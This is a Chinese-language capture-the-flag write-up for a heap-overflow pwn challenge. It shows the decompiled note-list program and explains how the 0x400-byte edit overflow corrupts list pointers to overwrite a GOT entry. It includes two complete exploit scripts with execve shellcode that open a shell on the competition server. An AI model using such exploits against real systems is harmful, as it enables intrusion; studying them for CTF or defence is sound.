说句实在的,就我个人而言,这题相对于PWN的前两题而言,要简单得多,当时本来还剩的时间不多,于是受前面的PWN的题的影响,我这题都没看,觉得来不及了,先去做的Code500,然后最后Code500完成了,还剩两小时的时候,我就来看了下这题,然后一看就激动,这么简单,赶快开始搞,虽说还是搞了一个多小时才过掉,不过好在是在比赛结束前搞定没出啥岔子……
首先还是给出IDA反编译的结果:
int __cdecl show_hint_and_get_choice() { unsigned __int8 v1; // [sp+1Fh] [bp-9h]@2 write(1, "1.New noten", 0xBu); write(1, "2.Show notes listn", 0x12u); write(1, "3.Show noten", 0xCu); write(1, "4.Edit noten", 0xCu); write(1, "5.Delete noten", 0xEu); write(1, "6.Quitn", 7u); write(1, "option--->> ", 0xCu); do v1 = getchar(); while ( v1 == 10 ); return v1; } int __cdecl new_note(int a1) { void *v2; // [sp+1Ch] [bp-Ch]@1 v2 = malloc(0x16Cu); write(1, "nnote title:", 0xCu); read(0, (char *)v2 + 12, 0x3Fu); write(1, "note type:", 0xAu); read(0, (char *)v2 + 76, 0x1Fu); write(1, "note content:", 0xDu); read(0, (char *)v2 + 108, 0xFFu); *(_DWORD *)v2 = v2; write(1, "nn", 2u); if ( *(_DWORD *)a1 ) { *((_DWORD *)v2 + 2) = *(_DWORD *)a1; *(_DWORD *)(*(_DWORD *)a1 + 4) = v2; *((_DWORD *)v2 + 1) = 0; *(_DWORD *)a1 = v2; } else { *(_DWORD *)a1 = v2; *((_DWORD *)v2 + 1) = 0; *((_DWORD *)v2 + 2) = 0; } return 0; } int __cdecl show_notes_list(int a1) { size_t v1; // eax@3 size_t v2; // eax@3 size_t v3; // eax@4 int result; // eax@6 int v5; // [sp+34h] [bp-64h]@3 signed int v6; // [sp+38h] [bp-60h]@3 char s; // [sp+3Ch] [bp-5Ch]@1 int v8; // [sp+7Ch] [bp-1Ch]@1 v8 = *MK_FP(__GS__, 20); memset(&s, 0, 0x40u); if ( a1 ) { v5 = *(_DWORD *)(a1 + 8); v6 = 2; v1 = strlen((const char *)(a1 + 12)); snprintf(&s, v1 + 10, "%d. %sn", 1, a1 + 12); v2 = strlen(&s); write(1, &s, v2); while ( v5 ) { v3 = strlen((const char *)(v5 + 12)); snprintf(&s, v3 + 10, "%d. %sn", v6, v5 + 12); write(1, &s, 0x40u); ++v6; v5 = *(_DWORD *)(v5 + 8); } } else { write(1, "ntotal: 0nn", 0xBu); } result = *MK_FP(__GS__, 20) ^ v8; if ( *MK_FP(__GS__, 20) != v8 ) __stack_chk_fail(); return result; } int __cdecl show_note(int a1) { size_t v1; // eax@4 size_t v2; // eax@5 size_t v3; // eax@5 size_t v4; // eax@5 size_t v5; // eax@5 int result; // eax@8 int v7; // [sp+2Ch] [bp-5Ch]@1 char s[4]; // [sp+32h] [bp-56h]@5 int v9; // [sp+36h] [bp-52h]@5 __int16 v10; // [sp+3Ah] [bp-4Eh]@5 char buf; // [sp+3Ch] [bp-4Ch]@1 int v12; // [sp+7Ch] [bp-Ch]@1 v12 = *MK_FP(__GS__, 20); v7 = a1; memset(&buf, 0, 0x40u); if ( a1 ) { write(1, "note title:", 0xBu); read(0, &buf, 0x3Fu); while ( v7 ) { v1 = strlen(&buf); if ( !strncmp(&buf, (const char *)(v7 + 12), v1) ) { write(1, "title:", 6u); v2 = strlen((const char *)(v7 + 12)); write(1, (const void *)(v7 + 12), v2); write(1, "location:", 9u); *(_DWORD *)s = 0; v9 = 0; v10 = 0; snprintf(s, 0x14u, "%p", v7); v3 = strlen(s); write(1, s, v3); write(1, "ntype:", 6u); v4 = strlen((const char *)(v7 + 76)); write(1, (const void *)(v7 + 76), v4); write(1, "content:", 8u); v5 = strlen((const char *)(v7 + 108)); write(1, (const void *)(v7 + 108), v5); write(1, "nn", 2u); break; } v7 = *(_DWORD *)(v7 + 8); } } else { write(1, "no notes", 8u); } result = *MK_FP(__GS__, 20) ^ v12; if ( *MK_FP(__GS__, 20) != v12 ) __stack_chk_fail(); return result; } int __cdecl edit_note(int a1) { size_t v1; // eax@4 int result; // eax@8 int v3; // [sp+28h] [bp-410h]@1 char buf; // [sp+2Ch] [bp-40Ch]@1 int v5; // [sp+42Ch] [bp-Ch]@1 v5 = *MK_FP(__GS__, 20); memset(&buf, 0, 0x400u); v3 = a1; if ( a1 ) { write(1, "note title:", 0xBu); read(0, &buf, 0x400u); while ( v3 ) { v1 = strlen(&buf); if ( !strncmp(&buf, (const char *)(v3 + 12), v1) ) break; v3 = *(_DWORD *)(v3 + 8); } write(1, "input content:", 0xEu); read(0, &buf, 0x400u); strcpy((char *)(v3 + 108), &buf); write(1, "succeed!", 8u); puts((const char *)(v3 + 108)); } else { write(1, "no notes", 8u); } result = *MK_FP(__GS__, 20) ^ v5; if ( *MK_FP(__GS__, 20) != v5 ) __stack_chk_fail(); return result; } int __cdecl delete_note(int a1) { int v1; // ST28_4@8 int v2; // ST2C_4@8 int result; // eax@10 __int32 ptr; // [sp+24h] [bp-24h]@3 int buf; // [sp+32h] [bp-16h]@1 int v6; // [sp+36h] [bp-12h]@1 __int16 v7; // [sp+3Ah] [bp-Eh]@1 int v8; // [sp+3Ch] [bp-Ch]@1 v8 = *MK_FP(__GS__, 20); buf = 0; v6 = 0; v7 = 0; if ( *(_DWORD *)a1 ) { write(1, "note location:", 0xEu); read(0, &buf, 8u); ptr = strtol((const char *)&buf, 0, 16); if ( *(_DWORD *)ptr == ptr ) { if ( *(_DWORD *)a1 == ptr ) { *(_DWORD *)a1 = *(_DWORD *)(*(_DWORD *)a1 + 8); } else { if ( *(_DWORD *)(ptr + 8) ) { v1 = *(_DWORD *)(ptr + 8); v2 = *(_DWORD *)(ptr + 4); *(_DWORD *)(v2 + 8) = v1; *(_DWORD *)(v1 + 4) = v2; } else { *(_DWORD *)(*(_DWORD *)(ptr + 4) + 8) = 0; } } write(1, "succeed!nn", 0xAu); free((void *)ptr); } } else { write(1, "no notes", 8u); } result = *MK_FP(__GS__, 20) ^ v8; if ( *MK_FP(__GS__, 20) != v8 ) __stack_chk_fail(); return result; } void __cdecl main() { int v0; // [sp+1Ch] [bp-4h]@1 v0 = 0; while ( 1 ) { switch ( (char)show_hint_and_get_choice() ) { case 49: new_note(&v0); break; case 50: show_notes_list(v0); break; case 51: show_note(v0); break; case 52: edit_note(v0); break; case 53: delete_note(&v0); break; case 54: exit(0); return; default: write(1, "choose a opt!n", 0xEu); break; } } }
我们可以发现,它是维护了一个链表,链表的每个节点就是一个note,再联想一下前面两题PWN,一个栈溢出,一个格式化字符串漏洞,这题十有八九就是一个堆溢出的思想,不过就是把链表自己实现了而已。仔细观察一下程序,我们可以发现,它在new note的时候,做了严格的长度验证,没有溢出的机会,但是在edit note的时候,给出的长度值为0x400u,明显远大于需要的长度,那么这里无疑就是我们溢出的地方。通过溢出,修改链表中一个节点的prev和next指针为特定的值,这样,删除这个节点的时候我们就可以获得一次dword shooting的机会了。
然后再就是改哪里的问题,这题并没有随题附上一个libc.so,然后我们一看会发现,这题竟然是可运行的堆栈,这也就是为什么我觉得这题比前两题要简单的原因了,我们直接将shellcode放在某一个note中,然后修改GOT表,使得修改完后下一次函数调用的时候执行我们的shellcode即可。
下面是我比赛时的代码:
#!/usr/bin/env python #encoding:utf-8 import socket import binascii s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('218.2.197.248', 10003)) for i in xrange(3): s.send('1n') s.recv(100) s.send(str(i) + 'n') s.recv(100) s.send(str(i) + 'n') s.recv(100) s.send(str(i) + 'n') s.recv(100) s.send('3n') s.recv(100) s.send('0n') ret = s.recv(4096) while ret.find('location:') == -1: ret += s.recv(4096) print ret ret = ret[ret.find('location:') + 11:] ret = ret[:ret.find('n')] addr = int(ret, 16) payload = 'xebx06' + 'a' * 6 + "jx0bXx991xc9Rh//shh/binx89xe3xcdx80" payload += 'a' * (260 - len(payload)) payload += binascii.unhexlify('%08x' % (addr + 0x170))[::-1] payload += 'x70xa4x04x08' payload += binascii.unhexlify('%08x' % (addr + 108))[::-1] s.send('4n') s.recv(100) s.send('0n') s.recv(100) s.send(payload + 'n') s.recv(100) s.send('5n') s.recv(100) s.send('%08x' % (addr + 0x170) + 'n') s.recv(100) s.send('cat /home/pwn3/flag/flagn') s.recv(100)
先是3次new note,构建一个3个note的链表,然后show note查看这些note的地址,计算出需要的payload后,通过edit note修改第一个note,溢出改掉第二个note的prev和next指针,最后调用delete note删除第二个note,就可以成功拿到shell。
只能说,这次的PWN真的就是三种类型的基础题一样一个,不过把一个最水的放最后,我也是醉了……
XCTF上了个OJ,把之前的比赛题又架了起来,于是将代码重写了下:
#!/usr/bin/env python #encoding:utf-8 import zio from time import sleep def NOPS(n): return 'x90' * n def PADDING(s, n): return s + NOPS(n - len(s)) # TARGET = './pwn400' TARGET = ('218.2.197.235', 10103) DELAY = 0.1 JMP06 = 'xebx06' SHELLCODE = "jx0bXx991xc9Rh//shh/binx89xe3xcdx80" NOTE_SIZE = 0x170 CONTENT_OFFSET = 108 WRITE_GOT = 0x0804a478 def RAW_WITH_DELAY(s): sleep(DELAY) return str(s) # create three new notes io = zio.zio(TARGET, print_write=RAW_WITH_DELAY, print_read=True) for i in xrange(3): io.writelines(['1', str(i), str(i), str(i)]) io.read_until_timeout() # get address of the new notes io.writelines(['3', '0']) io.read_until('location:0x') first_note = int(io.readline(), 16) second_note = first_note + NOTE_SIZE # overwrite the pointer of the linked list payload = PADDING(JMP06 + NOPS(6) + SHELLCODE, NOTE_SIZE - CONTENT_OFFSET) payload += zio.l32(second_note) + zio.l32(WRITE_GOT - 8) + zio.l32(first_note + CONTENT_OFFSET) io.writelines(['4', '0', payload]) sleep(1) # trigger by delete note io.writelines(['5', '%08x' % second_note]) io.interact()